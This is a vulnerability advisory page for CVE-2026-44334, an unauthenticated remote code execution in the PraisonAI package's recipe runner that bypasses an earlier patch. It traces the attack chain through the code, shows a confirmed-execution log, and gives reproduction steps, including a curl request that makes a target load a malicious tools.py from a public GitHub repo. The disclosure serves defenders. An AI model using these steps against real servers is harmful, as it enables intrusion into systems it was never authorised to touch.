Advisory Database
  • Advisories
  • Dependency Scanning
  1. pypi
  2. ›
  3. praisonai
  4. ›
  5. CVE-2026-44334

CVE-2026-44334: PraisonAI has unauthenticated RCE via `tool_override.py` (CVE-2026-40287 patch bypass)

May 6, 2026 (updated May 12, 2026)

TL;DR

CVE-2026-40287’s fix gated tools.py auto-import behind PRAISONAI_ALLOW_LOCAL_TOOLS=true in two files (tool_resolver.py, api/call.py). A third import sink in praisonai/templates/tool_override.py was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is remotely triggerable through POST /v1/recipes/run with a recipe value pointing at any local absolute path or any GitHub repo (because SecurityConfig.allow_any_github defaults to True). The attacker drops a tools.py next to TEMPLATE.yaml; the server exec_module()s it. No auth required by default, no environment opt-in required.

Patch coverage gap

CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at:

FileLineGate
praisonai/tool_resolver.py77if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":
praisonai/api/call.py80same

But the equivalent sinks in praisonai/templates/tool_override.py were not patched:

# tool_override.py - create_tool_registry_with_overrides()
332    cwd_tools_py = Path.cwd() / "tools.py"
333    if cwd_tools_py.exists():
334        try:
335            tools = loader.load_from_file(str(cwd_tools_py))   # <-- exec_module
336            registry.update(tools)
337        except Exception:
338            pass
339
341    # 4. Template-local tools.py
342    if template_dir:
343        tools_py = Path(template_dir) / "tools.py"
344        if tools_py.exists():
345            try:
346                tools = loader.load_from_file(str(tools_py))   # <-- exec_module
347                registry.update(tools)
348            except Exception:
349                pass

load_from_file (line 84-94) ends in spec.loader.exec_module(module) with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution.

Attack chain

HTTP POST /v1/recipes/run
  body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"}
        │
        ▼
recipe/serve.py:483   run_recipe(request)              ← auth=none default
        │
        ▼
recipe/core.py:215    recipe.run(name, ...)
        │
        ▼
recipe/core.py:686    _load_recipe(name)
                      └─ ".." check only; absolute paths and URIs allowed
        │
        ▼
templates/loader.py:94    TemplateLoader.load(uri)
        │
        ▼
templates/security.py:130 is_source_allowed("github:*")
                          └─ allow_any_github=True default → returns True
        │
        ▼
templates/registry.py     fetch repo from raw.githubusercontent.com → cache dir
        │
        ▼
templates/security.py:215 validate_template_directory(cached.path)
                          └─ .py is in allowed_extensions → tools.py kept
        │
        ▼
recipe/core.py:887        _execute_recipe(recipe_config, ...)
        │
        ▼
recipe/core.py:943        create_tool_registry_with_overrides(
                              include_defaults=True,
                              template_dir=recipe_config.path)
        │
        ▼
templates/tool_override.py:341-349   load_from_file(template_dir/tools.py)
        │
        ▼
templates/tool_override.py:94        spec.loader.exec_module(module)   ← RCE

The tool registry build runs before any LLM/agent step, so OPENAI_API_KEY and similar are not required. A recipe with an empty workflow.steps: [] is sufficient - the payload fires during registry construction.

Confirmed execution (2026-04-25, praisonai 4.6.31)

SERVER stdout (PID 43784):
  Uvicorn running on http://127.0.0.1:8765
  127.0.0.1 - POST /v1/recipes/run HTTP/1.1
  [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt
  127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error

Marker file:
  pid: 43784            ← matches server PID
  argv: ['server.py']   ← server process, not exploit

The 500 response is a downstream side-effect of workflow.steps: [] failing to construct a runnable workflow; the exec_module(tools.py) call runs before that error. The attacker payload has already executed in the server process by the time the 500 is sent.

Reproduction (local-path variant)

Files under pocs/praisonai-cve-2026-40287-bypass/:

  • evil_recipe/TEMPLATE.yaml - minimal recipe metadata
  • evil_recipe/tools.py - payload (writes a marker file in tempdir)
  • server.py - starts praisonai.recipe.serve.create_app({}) on 127.0.0.1:8765 (default auth: none)
  • exploit.py - single POST to /v1/recipes/run
pip install 'praisonai[serve]==4.6.31'

# Terminal 1
python server.py

# Terminal 2
python exploit.py

Expected: server stdout shows [CVE-2026-40287-bypass] RCE fired.; a praisonai_pwn_<timestamp>.txt file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process.

Reproduction (remote GitHub variant)

# Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo)

curl -X POST http://target:8765/v1/recipes/run \
     -H 'Content-Type: application/json' \
     -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}'

No filesystem prerequisite on the target. Triggers because SecurityConfig.allow_any_github (templates/security.py:30) defaults to True.

References

  • github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xcmw-grxf-wjhj
  • github.com/advisories/GHSA-g985-wjh9-qxxc
  • github.com/advisories/GHSA-xcmw-grxf-wjhj
  • nvd.nist.gov/vuln/detail/CVE-2026-44334

Code Behaviors & Features

Detect and mitigate CVE-2026-44334 with GitLab Dependency Scanning

Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →

Affected versions

All versions starting from 4.5.139 before 4.6.32

Fixed versions

  • 4.6.32

Solution

Upgrade to version 4.6.32 or above.

Impact 8.4 HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Learn more about CVSS

Weakness

  • CWE-94: Improper Control of Generation of Code ('Code Injection')

Source file

pypi/praisonai/CVE-2026-44334.yml

Spotted a mistake? Edit the file on GitLab.

  • Site Repo
  • About GitLab
  • Terms
  • Privacy Statement
  • Contact

Page generated Sun, 08 Nov 2026 00:15:53 +0000.